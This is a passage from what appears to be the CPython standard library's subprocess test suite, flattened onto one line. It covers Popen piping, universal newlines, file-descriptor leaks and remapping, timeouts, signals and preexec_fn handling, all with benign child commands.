self.assertEqual(p.returncode, 0) def test_universal_newlines_communicate_stdin_stdout_stderr(self): # universal newlines through communicate(), with stdin, stdout, stderr p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + textwrap.dedent(''' s = sys.stdin.buffer.readline() sys.stdout.buffer.write(s) sys.stdout.buffer.write(b"line2\\r") sys.stderr.buffer.write(b"eline2\\n") s = sys.stdin.buffer.read() sys.stdout.buffer.write(s) sys.stdout.buffer.write(b"line4\\n") sys.stdout.buffer.write(b"line5\\r\\n") sys.stderr.buffer.write(b"eline6\\r") sys.stderr.buffer.write(b"eline7\\r\\nz") ''')], stdin=subprocess.PIPE, stderr=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) (stdout, stderr) = p.communicate("line1\nline3\n") self.assertEqual(p.returncode, 0) self.assertEqual("line1\nline2\nline3\nline4\nline5\n", stdout) # Python debug build push something like "[42442 refs]\n" # to stderr at exit of subprocess. # Don't use assertStderrEqual because it strips CR and LF from output. self.assertTrue(stderr.startswith("eline2\neline6\neline7\n")) def test_universal_newlines_communicate_encodings(self): # Check that universal newlines mode works for various encodings, # in particular for encodings in the UTF-16 and UTF-32 families. # See issue #15595. # # UTF-16 and UTF-32-BE are sufficient to check both with BOM and # without, and UTF-16 and UTF-32. import _bootlocale for encoding in ['utf-16', 'utf-32-be']: old_getpreferredencoding = _bootlocale.getpreferredencoding # Indirectly via io.TextIOWrapper, Popen() defaults to # locale.getpreferredencoding(False) and earlier in Python 3.2 to # locale.getpreferredencoding(). def getpreferredencoding(do_setlocale=True): return encoding code = ("import sys; " r"sys.stdout.buffer.write('1\r\n2\r3\n4'.encode('%s'))" % encoding) args = [sys.executable, '-c', code] try: _bootlocale.getpreferredencoding = getpreferredencoding # We set stdin to be non-None because, as of this writing, # a different code path is used when the number of pipes is # zero or one. popen = subprocess.Popen(args, universal_newlines=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE) stdout, stderr = popen.communicate(input='') finally: _bootlocale.getpreferredencoding = old_getpreferredencoding self.assertEqual(stdout, '1\n2\n3\n4') def test_no_leaking(self): # Make sure we leak no resources if not mswindows: max_handles = 1026 # too much for most UNIX systems else: max_handles = 2050 # too much for (at least some) Windows setups handles = [] tmpdir = tempfile.mkdtemp() try: for i in range(max_handles): try: tmpfile = os.path.join(tmpdir, support.TESTFN) handles.append(os.open(tmpfile, os.O_WRONLY|os.O_CREAT)) except OSError as e: if e.errno != errno.EMFILE: raise break else: self.skipTest("failed to reach the file descriptor limit " "(tried %d)" % max_handles) # Close a couple of them (should be enough for a subprocess) for i in range(10): os.close(handles.pop()) # Loop creating some subprocesses. If one of them leaks some fds, # the next loop iteration will fail by reaching the max fd limit. for i in range(15): p = subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write(sys.stdin.read())"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) data = p.communicate(b"lime")[0] self.assertEqual(data, b"lime") finally: for h in handles: os.close(h) shutil.rmtree(tmpdir) def test_list2cmdline(self): self.assertEqual(subprocess.list2cmdline(['a b c', 'd', 'e']), '"a b c" d e') self.assertEqual(subprocess.list2cmdline(['ab"c', '\\', 'd']), 'ab\\"c \\ d') self.assertEqual(subprocess.list2cmdline(['ab"c', ' \\', 'd']), 'ab\\"c " \\\\" d') self.assertEqual(subprocess.list2cmdline(['a\\\\\\b', 'de fg', 'h']), 'a\\\\\\b "de fg" h') self.assertEqual(subprocess.list2cmdline(['a\\"b', 'c', 'd']), 'a\\\\\\"b c d') self.assertEqual(subprocess.list2cmdline(['a\\\\b c', 'd', 'e']), '"a\\\\b c" d e') self.assertEqual(subprocess.list2cmdline(['a\\\\b\\ c', 'd', 'e']), '"a\\\\b\\ c" d e') self.assertEqual(subprocess.list2cmdline(['ab', '']), 'ab ""') def test_poll(self): p = subprocess.Popen([sys.executable, "-c", "import os; os.read(0, 1)"], stdin=subprocess.PIPE) self.addCleanup(p.stdin.close) self.assertIsNone(p.poll()) os.write(p.stdin.fileno(), b'A') p.wait() # Subsequent invocations should just return the returncode self.assertEqual(p.poll(), 0) def test_wait(self): p = subprocess.Popen([sys.executable, "-c", "pass"]) self.assertEqual(p.wait(), 0) # Subsequent invocations should just return the returncode self.assertEqual(p.wait(), 0) def test_wait_timeout(self): p = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(0.3)"]) with self.assertRaises(subprocess.TimeoutExpired) as c: p.wait(timeout=0.0001) self.assertIn("0.0001", str(c.exception)) # For coverage of __str__. # Some heavily loaded buildbots (sparc Debian 3.x) require this much # time to start. self.assertEqual(p.wait(timeout=3), 0) def test_invalid_bufsize(self): # an invalid type of the bufsize argument should raise # TypeError. with self.assertRaises(TypeError): subprocess.Popen([sys.executable, "-c", "pass"], "orange") def test_bufsize_is_none(self): # bufsize=None should be the same as bufsize=0. p = subprocess.Popen([sys.executable, "-c", "pass"], None) self.assertEqual(p.wait(), 0) # Again with keyword arg p = subprocess.Popen([sys.executable, "-c", "pass"], bufsize=None) self.assertEqual(p.wait(), 0) def _test_bufsize_equal_one(self, line, expected, universal_newlines): # subprocess may deadlock with bufsize=1, see issue #21332 with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write(sys.stdin.readline());" "sys.stdout.flush()"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, bufsize=1, universal_newlines=universal_newlines) as p: p.stdin.write(line) # expect that it flushes the line in text mode os.close(p.stdin.fileno()) # close it without flushing the buffer read_line = p.stdout.readline() try: p.stdin.close() except OSError: pass p.stdin = None self.assertEqual(p.returncode, 0) self.assertEqual(read_line, expected) def test_bufsize_equal_one_text_mode(self): # line is flushed in text mode with bufsize=1. # we should get the full line in return line = "line\n" self._test_bufsize_equal_one(line, line, universal_newlines=True) def test_bufsize_equal_one_binary_mode(self): # line is not flushed in binary mode with bufsize=1. # we should get empty response line = b'line' + os.linesep.encode() # assume ascii-based locale self._test_bufsize_equal_one(line, b'', universal_newlines=False) def test_leaking_fds_on_error(self): # see bug #5179: Popen leaks file descriptors to PIPEs if # the child fails to execute; this will eventually exhaust # the maximum number of open fds. 1024 seems a very common # value for that limit, but Windows has 2048, so we loop # 1024 times (each call leaked two fds). for i in range(1024): with self.assertRaises(OSError) as c: subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # ignore errors that indicate the command was not found if c.exception.errno not in (errno.ENOENT, errno.EACCES): raise c.exception @unittest.skipIf(threading is None, "threading required") def test_double_close_on_error(self): # Issue #18851 fds = [] def open_fds(): for i in range(20): fds.extend(os.pipe()) time.sleep(0.001) t = threading.Thread(target=open_fds) t.start() try: with self.assertRaises(EnvironmentError): subprocess.Popen(['nonexisting_i_hope'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) finally: t.join() exc = None for fd in fds: # If a double close occurred, some of those fds will # already have been closed by mistake, and os.close() # here will raise. try: os.close(fd) except OSError as e: exc = e if exc is not None: raise exc @unittest.skipIf(threading is None, "threading required") def test_threadsafe_wait(self): """Issue21291: Popen.wait() needs to be threadsafe for returncode.""" proc = subprocess.Popen([sys.executable, '-c', 'import time; time.sleep(12)']) self.assertEqual(proc.returncode, None) results = [] def kill_proc_timer_thread(): results.append(('thread-start-poll-result', proc.poll())) # terminate it from the thread and wait for the result. proc.kill() proc.wait() results.append(('thread-after-kill-and-wait', proc.returncode)) # this wait should be a no-op given the above. proc.wait() results.append(('thread-after-second-wait', proc.returncode)) # This is a timing sensitive test, the failure mode is # triggered when both the main thread and this thread are in # the wait() call at once. The delay here is to allow the # main thread to most likely be blocked in its wait() call. t = threading.Timer(0.2, kill_proc_timer_thread) t.start() if mswindows: expected_errorcode = 1 else: # Should be -9 because of the proc.kill() from the thread. expected_errorcode = -9 # Wait for the process to finish; the thread should kill it # long before it finishes on its own. Supplying a timeout # triggers a different code path for better coverage. proc.wait(timeout=20) self.assertEqual(proc.returncode, expected_errorcode, msg="unexpected result in wait from main thread") # This should be a no-op with no change in returncode. proc.wait() self.assertEqual(proc.returncode, expected_errorcode, msg="unexpected result in second main wait.") t.join() # Ensure that all of the thread results are as expected. # When a race condition occurs in wait(), the returncode could # be set by the wrong thread that doesn't actually have it # leading to an incorrect value. self.assertEqual([('thread-start-poll-result', None), ('thread-after-kill-and-wait', expected_errorcode), ('thread-after-second-wait', expected_errorcode)], results) def test_issue8780(self): # Ensure that stdout is inherited from the parent # if stdout=PIPE is not used code = ';'.join(( 'import subprocess, sys', 'retcode = subprocess.call(' "[sys.executable, '-c', 'print(\"Hello World!\")'])", 'assert retcode == 0')) output = subprocess.check_output([sys.executable, '-c', code]) self.assertTrue(output.startswith(b'Hello World!'), ascii(output)) def test_handles_closed_on_exception(self): # If CreateProcess exits with an error, ensure the # duplicate output handles are released ifhandle, ifname = mkstemp() ofhandle, ofname = mkstemp() efhandle, efname = mkstemp() try: subprocess.Popen (["*"], stdin=ifhandle, stdout=ofhandle, stderr=efhandle) except OSError: os.close(ifhandle) os.remove(ifname) os.close(ofhandle) os.remove(ofname) os.close(efhandle) os.remove(efname) self.assertFalse(os.path.exists(ifname)) self.assertFalse(os.path.exists(ofname)) self.assertFalse(os.path.exists(efname)) def test_communicate_epipe(self): # Issue 10963: communicate() should hide EPIPE p = subprocess.Popen([sys.executable, "-c", 'pass'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) p.communicate(b"x" * 2**20) def test_communicate_epipe_only_stdin(self): # Issue 10963: communicate() should hide EPIPE p = subprocess.Popen([sys.executable, "-c", 'pass'], stdin=subprocess.PIPE) self.addCleanup(p.stdin.close) p.wait() p.communicate(b"x" * 2**20) @unittest.skipUnless(hasattr(signal, 'SIGUSR1'), "Requires signal.SIGUSR1") @unittest.skipUnless(hasattr(os, 'kill'), "Requires os.kill") @unittest.skipUnless(hasattr(os, 'getppid'), "Requires os.getppid") def test_communicate_eintr(self): # Issue #12493: communicate() should handle EINTR def handler(signum, frame): pass old_handler = signal.signal(signal.SIGUSR1, handler) self.addCleanup(signal.signal, signal.SIGUSR1, old_handler) args = [sys.executable, "-c", 'import os, signal;' 'os.kill(os.getppid(), signal.SIGUSR1)'] for stream in ('stdout', 'stderr'): kw = {stream: subprocess.PIPE} with subprocess.Popen(args, **kw) as process: # communicate() will be interrupted by SIGUSR1 process.communicate() # This test is Linux-ish specific for simplicity to at least have # some coverage. It is not a platform specific bug. @unittest.skipUnless(os.path.isdir('/proc/%d/fd' % os.getpid()), "Linux specific") def test_failed_child_execute_fd_leak(self): """Test for the fork() failure fd leak reported in issue16327.""" fd_directory = '/proc/%d/fd' % os.getpid() fds_before_popen = os.listdir(fd_directory) with self.assertRaises(PopenTestException): PopenExecuteChildRaises( [sys.executable, '-c', 'pass'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # NOTE: This test doesn't verify that the real _execute_child # does not close the file descriptors itself on the way out # during an exception. Code inspection has confirmed that. fds_after_exception = os.listdir(fd_directory) self.assertEqual(fds_before_popen, fds_after_exception) @unittest.skipIf(mswindows, "POSIX specific tests") class POSIXProcessTestCase(BaseTestCase): def setUp(self): super().setUp() self._nonexistent_dir = "/_this/pa.th/does/not/exist" def _get_chdir_exception(self): try: os.chdir(self._nonexistent_dir) except OSError as e: # This avoids hard coding the errno value or the OS perror() # string and instead capture the exception that we want to see # below for comparison. desired_exception = e desired_exception.strerror += ': ' + repr(self._nonexistent_dir) else: self.fail("chdir to nonexistant directory %s succeeded." % self._nonexistent_dir) return desired_exception def test_exception_cwd(self): """Test error in the child raised in the parent for a bad cwd.""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([sys.executable, "-c", ""], cwd=self._nonexistent_dir) except OSError as e: # Test that the child process chdir failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_exception_bad_executable(self): """Test error in the child raised in the parent for a bad executable.""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([sys.executable, "-c", ""], executable=self._nonexistent_dir) except OSError as e: # Test that the child process exec failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_exception_bad_args_0(self): """Test error in the child raised in the parent for a bad args[0].""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([self._nonexistent_dir, "-c", ""]) except OSError as e: # Test that the child process exec failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_restore_signals(self): # Code coverage for both values of restore_signals to make sure it # at least does not blow up. # A test for behavior would be complex. Contributions welcome. subprocess.call([sys.executable, "-c", ""], restore_signals=True) subprocess.call([sys.executable, "-c", ""], restore_signals=False) def test_start_new_session(self): # For code coverage of calling setsid(). We don't care if we get an # EPERM error from it depending on the test execution environment, that # still indicates that it was called. try: output = subprocess.check_output( [sys.executable, "-c", "import os; print(os.getpgid(os.getpid()))"], start_new_session=True) except OSError as e: if e.errno != errno.EPERM: raise else: parent_pgid = os.getpgid(os.getpid()) child_pgid = int(output) self.assertNotEqual(parent_pgid, child_pgid) def test_run_abort(self): # returncode handles signal termination with support.SuppressCrashReport(): p = subprocess.Popen([sys.executable, "-c", 'import os; os.abort()']) p.wait() self.assertEqual(-p.returncode, signal.SIGABRT) def test_preexec(self): # DISCLAIMER: Setting environment variables is *not* a good use # of a preexec_fn. This is merely a test. p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(os.getenv("FRUIT"))'], stdout=subprocess.PIPE, preexec_fn=lambda: os.putenv("FRUIT", "apple")) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read(), b"apple") def test_preexec_exception(self): def raise_it(): raise ValueError("What if two swallows carried a coconut?") try: p = subprocess.Popen([sys.executable, "-c", ""], preexec_fn=raise_it) except subprocess.SubprocessError as e: self.assertTrue( subprocess._posixsubprocess, "Expected a ValueError from the preexec_fn") except ValueError as e: self.assertIn("coconut", e.args[0]) else: self.fail("Exception raised by preexec_fn did not make it " "to the parent process.") class _TestExecuteChildPopen(subprocess.Popen): """Used to test behavior at the end of _execute_child.""" def __init__(self, testcase, *args, **kwargs): self._testcase = testcase subprocess.Popen.__init__(self, *args, **kwargs) def _execute_child(self, *args, **kwargs): try: subprocess.Popen._execute_child(self, *args, **kwargs) finally: # Open a bunch of file descriptors and verify that # none of them are the same as the ones the Popen # instance is using for stdin/stdout/stderr. devzero_fds = [os.open("/dev/zero", os.O_RDONLY) for _ in range(8)] try: for fd in devzero_fds: self._testcase.assertNotIn( fd, (self.stdin.fileno(), self.stdout.fileno(), self.stderr.fileno()), msg="At least one fd was closed early.") finally: for fd in devzero_fds: os.close(fd) @unittest.skipIf(not os.path.exists("/dev/zero"), "/dev/zero required.") def test_preexec_errpipe_does_not_double_close_pipes(self): """Issue16140: Don't double close pipes on preexec error.""" def raise_it(): raise subprocess.SubprocessError( "force the _execute_child() errpipe_data path.") with self.assertRaises(subprocess.SubprocessError): self._TestExecuteChildPopen( self, [sys.executable, "-c", "pass"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=raise_it) def test_preexec_gc_module_failure(self): # This tests the code that disables garbage collection if the child # process will execute any Python. def raise_runtime_error(): raise RuntimeError("this shouldn't escape") enabled = gc.isenabled() orig_gc_disable = gc.disable orig_gc_isenabled = gc.isenabled try: gc.disable() self.assertFalse(gc.isenabled()) subprocess.call([sys.executable, '-c', ''], preexec_fn=lambda: None) self.assertFalse(gc.isenabled(), "Popen enabled gc when it shouldn't.") gc.enable() self.assertTrue(gc.isenabled()) subprocess.call([sys.executable, '-c', ''], preexec_fn=lambda: None) self.assertTrue(gc.isenabled(), "Popen left gc disabled.") gc.disable = raise_runtime_error self.assertRaises(RuntimeError, subprocess.Popen, [sys.executable, '-c', ''], preexec_fn=lambda: None) del gc.isenabled # force an AttributeError self.assertRaises(AttributeError, subprocess.Popen, [sys.executable, '-c', ''], preexec_fn=lambda: None) finally: gc.disable = orig_gc_disable gc.isenabled = orig_gc_isenabled if not enabled: gc.disable() def test_args_string(self): # args is a string fd, fname = mkstemp() # reopen in text mode with open(fd, "w", errors="surrogateescape") as fobj: fobj.write("#!/bin/sh\n") fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" % sys.executable) os.chmod(fname, 0o700) p = subprocess.Popen(fname) p.wait() os.remove(fname) self.assertEqual(p.returncode, 47) def test_invalid_args(self): # invalid arguments should raise ValueError self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], startupinfo=47) self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], creationflags=47) def test_shell_sequence(self): # Run command through the shell (sequence) newenv = os.environ.copy() newenv["FRUIT"] = "apple" p = subprocess.Popen(["echo $FRUIT"], shell=1, stdout=subprocess.PIPE, env=newenv) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple") def test_shell_string(self): # Run command through the shell (string) newenv = os.environ.copy() newenv["FRUIT"] = "apple" p = subprocess.Popen("echo $FRUIT", shell=1, stdout=subprocess.PIPE, env=newenv) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple") def test_call_string(self): # call() function with string argument on UNIX fd, fname = mkstemp() # reopen in text mode with open(fd, "w", errors="surrogateescape") as fobj: fobj.write("#!/bin/sh\n") fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" % sys.executable) os.chmod(fname, 0o700) rc = subprocess.call(fname) os.remove(fname) self.assertEqual(rc, 47) def test_specific_shell(self): # Issue #9265: Incorrect name passed as arg[0]. shells = [] for prefix in ['/bin', '/usr/bin/', '/usr/local/bin']: for name in ['bash', 'ksh']: sh = os.path.join(prefix, name) if os.path.isfile(sh): shells.append(sh) if not shells: # Will probably work for any shell but csh. self.skipTest("bash or ksh required for this test") sh = '/bin/sh' if os.path.isfile(sh) and not os.path.islink(sh): # Test will fail if /bin/sh is a symlink to csh. shells.append(sh) for sh in shells: p = subprocess.Popen("echo $0", executable=sh, shell=True, stdout=subprocess.PIPE) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read().strip(), bytes(sh, 'ascii')) def _kill_process(self, method, *args): # Do not inherit file handles from the parent. # It should fix failures on some platforms. # Also set the SIGINT handler to the default to make sure it's not # being ignored (some tests rely on that.) old_handler = signal.signal(signal.SIGINT, signal.default_int_handler) try: p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() time.sleep(30) """], close_fds=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) finally: signal.signal(signal.SIGINT, old_handler) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) getattr(p, method)(*args) return p @unittest.skipIf(sys.platform.startswith(('netbsd', 'openbsd')), "Due to known OS bug (issue #16762)") def _kill_dead_process(self, method, *args): # Do not inherit file handles from the parent. # It should fix failures on some platforms. p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() """], close_fds=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) # The process should end after this time.sleep(1) # This shouldn't raise even though the child is now dead getattr(p, method)(*args) p.communicate() def test_send_signal(self): p = self._kill_process('send_signal', signal.SIGINT) _, stderr = p.communicate() self.assertIn(b'KeyboardInterrupt', stderr) self.assertNotEqual(p.wait(), 0) def test_kill(self): p = self._kill_process('kill') _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') self.assertEqual(p.wait(), -signal.SIGKILL) def test_terminate(self): p = self._kill_process('terminate') _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') self.assertEqual(p.wait(), -signal.SIGTERM) def test_send_signal_dead(self): # Sending a signal to a dead process self._kill_dead_process('send_signal', signal.SIGINT) def test_kill_dead(self): # Killing a dead process self._kill_dead_process('kill') def test_terminate_dead(self): # Terminating a dead process self._kill_dead_process('terminate') def _save_fds(self, save_fds): fds = [] for fd in save_fds: inheritable = os.get_inheritable(fd) saved = os.dup(fd) fds.append((fd, saved, inheritable)) return fds def _restore_fds(self, fds): for fd, saved, inheritable in fds: os.dup2(saved, fd, inheritable=inheritable) os.close(saved) def check_close_std_fds(self, fds): # Issue #9905: test that subprocess pipes still work properly with # some standard fds closed stdin = 0 saved_fds = self._save_fds(fds) for fd, saved, inheritable in saved_fds: if fd == 0: stdin = saved break try: for fd in fds: os.close(fd) out, err = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdin=stdin, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() err = support.strip_python_stderr(err) self.assertEqual((out, err), (b'apple', b'orange')) finally: self._restore_fds(saved_fds) def test_close_fd_0(self): self.check_close_std_fds([0]) def test_close_fd_1(self): self.check_close_std_fds([1]) def test_close_fd_2(self): self.check_close_std_fds([2]) def test_close_fds_0_1(self): self.check_close_std_fds([0, 1]) def test_close_fds_0_2(self): self.check_close_std_fds([0, 2]) def test_close_fds_1_2(self): self.check_close_std_fds([1, 2]) def test_close_fds_0_1_2(self): # Issue #10806: test that subprocess pipes still work properly with # all standard fds closed. self.check_close_std_fds([0, 1, 2]) def test_small_errpipe_write_fd(self): """Issue #15798: Popen should work when stdio fds are available.""" new_stdin = os.dup(0) new_stdout = os.dup(1) try: os.close(0) os.close(1) # Side test: if errpipe_write fails to have its CLOEXEC # flag set this should cause the parent to think the exec # failed. Extremely unlikely: everyone supports CLOEXEC. subprocess.Popen([ sys.executable, "-c", "print('AssertionError:0:CLOEXEC failure.')"]).wait() finally: # Restore original stdin and stdout os.dup2(new_stdin, 0) os.dup2(new_stdout, 1) os.close(new_stdin) os.close(new_stdout) def test_remapping_std_fds(self): # open up some temporary files temps = [mkstemp() for i in range(3)] try: temp_fds = [fd for fd, fname in temps] # unlink the files -- we won't need to reopen them for fd, fname in temps: os.unlink(fname) # write some data to what will become stdin, and rewind os.write(temp_fds[1], b"STDIN") os.lseek(temp_fds[1], 0, 0) # move the standard file descriptors out of the way saved_fds = self._save_fds(range(3)) try: # duplicate the file objects over the standard fd's for fd, temp_fd in enumerate(temp_fds): os.dup2(temp_fd, fd) # now use those files in the "wrong" order, so that subprocess # has to rearrange them in the child p = subprocess.Popen([sys.executable, "-c", 'import sys; got = sys.stdin.read();' 'sys.stdout.write("got %s"%got); sys.stderr.write("err")'], stdin=temp_fds[1], stdout=temp_fds[2], stderr=temp_fds[0]) p.wait() finally: self._restore_fds(saved_fds) for fd in temp_fds: os.lseek(fd, 0, 0) out = os.read(temp_fds[2], 1024) err = support.strip_python_stderr(os.read(temp_fds[0], 1024)) self.assertEqual(out, b"got STDIN") self.assertEqual(err, b"err") finally: for fd in temp_fds: os.close(fd) def check_swap_fds(self, stdin_no, stdout_no, stderr_no): # open up some temporary files temps = [mkstemp() for i in range(3)] temp_fds = [fd for fd, fname in temps] try: # unlink the files -- we won't need to reopen them for fd, fname in temps: os.unlink(fname) # save a copy of the standard file descriptors saved_fds = self._save_fds(range(3)) try: # duplicate the temp files over the standard fd's 0, 1, 2 for fd, temp_fd in enumerate(temp_fds): os.dup2(temp_fd, fd) # write some data to what will become stdin, and rewind os.write(stdin_no, b"STDIN") os.lseek(stdin_no, 0, 0) # now use those files in the given order, so that subprocess # has to rearrange them in the child p = subprocess.Popen([sys.executable, "-c", 'import sys; got = sys.stdin.read();' 'sys.stdout.write("got %s"%got); sys.stderr.write("err")'], stdin=stdin_no, stdout=stdout_no, stderr=stderr_no) p.wait() for fd in temp_fds: os.lseek(fd, 0, 0) out = os.read(stdout_no, 1024) err = support.strip_python_stderr(os.read(stderr_no, 1024)) finally: self._restore_fds(saved_fds) self.assertEqual(out, b"got STDIN") self.assertEqual(err, b"err") finally: for fd in temp_fds: os.close(fd) # When duping fds, if there arises a situation where one of the fds is # either 0, 1 or 2, it is possible that it is overwritten (#12607). # This tests all combinations of this. def test_swap_fds(self): self.check_swap_fds(0, 1, 2) self.check_swap_fds(0, 2, 1) self.check_swap_fds(1, 0, 2) self.check_swap_fds(1, 2, 0) self.check_swap_fds(2, 0, 1) self.check_swap_fds(2, 1, 0) def test_surrogates_error_message(self): def prepare(): raise ValueError("surrogate:\uDCff") try: subprocess.call( [sys.executable, "-c", "pass"], preexec_fn=prepare) except ValueError as err: # Pure Python implementations keeps the message self.assertIsNone(subprocess._posixsubprocess) self.assertEqual(str(err), "surrogate:\uDCff") except subprocess.SubprocessError as err: # _posixsubprocess uses a default message self.assertIsNotNone(subprocess._posixsubprocess) self.assertEqual(str(err), "Exception occurred in preexec_fn.") else: self.fail("Expected ValueError or subprocess.SubprocessError") def test_undecodable_env(self): for key, value in (('test', 'abc\uDCFF'), ('test\uDCFF', '42')): encoded_value = value.encode("ascii", "surrogateescape") # test str with surrogates script = "import os; print(ascii(os.getenv(%s)))" % repr(key) env = os.environ.copy() env[key] = value # Use C locale to get ASCII for the locale encoding to force # surrogate-escaping of \xFF in the child process; otherwise it can # be decoded as-is if the default locale is latin-1. env['LC_ALL'] = 'C' if sys.platform.startswith("aix"): # On AIX, the C locale uses the Latin1 encoding decoded_value = encoded_value.decode("latin1", "surrogateescape") else: # On other UNIXes, the C locale uses the ASCII encoding decoded_value = value stdout = subprocess.check_output( [sys.executable, "-c", script], env=env) stdout = stdout.rstrip(b'\n\r') self.assertEqual(stdout.decode('ascii'), ascii(decoded_value)) # test bytes key = key.encode("ascii", "surrogateescape") script = "import os; print(ascii(os.getenvb(%s)))" % repr(key) env = os.environ.copy() env[key] = encoded_value stdout = subprocess.check_output( [sys.executable, "-c", script], env=env) stdout = stdout.rstrip(b'\n\r') self.assertEqual(stdout.decode('ascii'), ascii(encoded_value)) def test_bytes_program(self): abs_program = os.fsencode(sys.executable) path, program = os.path.split(sys.executable) program = os.fsencode(program) # absolute bytes path exitcode = subprocess.call([abs_program, "-c", "pass"]) self.assertEqual(exitcode, 0) # absolute bytes path as a string cmd = b"'" + abs_program + b"' -c pass" exitcode = subprocess.call(cmd, shell=True) self.assertEqual(exitcode, 0) # bytes program, unicode PATH env = os.environ.copy() env["PATH"] = path exitcode = subprocess.call([program, "-c", "pass"], env=env) self.assertEqual(exitcode, 0) # bytes program, bytes PATH envb = os.environb.copy() envb[b"PATH"] = os.fsencode(path) exitcode = subprocess.call([program, "-c", "pass"], env=envb) self.assertEqual(exitcode, 0) def test_pipe_cloexec(self): sleeper = support.findfile("input_reader.py", subdir="subprocessdata") fd_status = support.findfile("fd_status.py", subdir="subprocessdata") p1 = subprocess.Popen([sys.executable, sleeper], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) self.addCleanup(p1.communicate, b'') p2 = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=False) output, error = p2.communicate() result_fds = set(map(int, output.split(b','))) unwanted_fds = set([p1.stdin.fileno(), p1.stdout.fileno(), p1.stderr.fileno()]) self.assertFalse(result_fds & unwanted_fds, "Expected no fds from %r to be open in child, " "found %r" % (unwanted_fds, result_fds & unwanted_fds)) def test_pipe_cloexec_real_tools(self): qcat = support.findfile("qcat.py", subdir="subprocessdata") qgrep = support.findfile("qgrep.py", subdir="subprocessdata") subdata = b'zxcvbn' data = subdata * 4 + b'\n' p1 = subprocess.Popen([sys.executable, qcat], stdin=subprocess.PIPE, stdout=subprocess.PIPE, close_fds=False) p2 = subprocess.Popen([sys.executable, qgrep, subdata], stdin=p1.stdout, stdout=subprocess.PIPE, close_fds=False) self.addCleanup(p1.wait) self.addCleanup(p2.wait) def kill_p1(): try: p1.terminate() except ProcessLookupError: pass def kill_p2(): try: p2.terminate() except ProcessLookupError: pass self.addCleanup(kill_p1) self.addCleanup(kill_p2) p1.stdin.write(data) p1.stdin.close() readfiles, ignored1, ignored2 = select.select([p2.stdout], [], [], 10) self.assertTrue(readfiles, "The child hung") self.assertEqual(p2.stdout.read(), data) p1.stdout.close() p2.stdout.close() def test_close_fds(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") fds = os.pipe() self.addCleanup(os.close, fds[0]) self.addCleanup(os.close, fds[1]) open_fds = set(fds) # add a bunch more fds for _ in range(9): fd = os.open("/dev/null", os.O_RDONLY) self.addCleanup(os.close, fd) open_fds.add(fd) for fd in open_fds: os.set_inheritable(fd, True) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=False) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertEqual(remaining_fds & open_fds, open_fds, "Some fds were closed") p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertFalse(remaining_fds & open_fds, "Some fds were left open") self.assertIn(1, remaining_fds, "Subprocess failed") # Keep some of the fd's we opened open in the subprocess. # This tests _posixsubprocess.c's proper handling of fds_to_keep. fds_to_keep = set(open_fds.pop() for _ in range(8)) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, pass_fds=()) output, 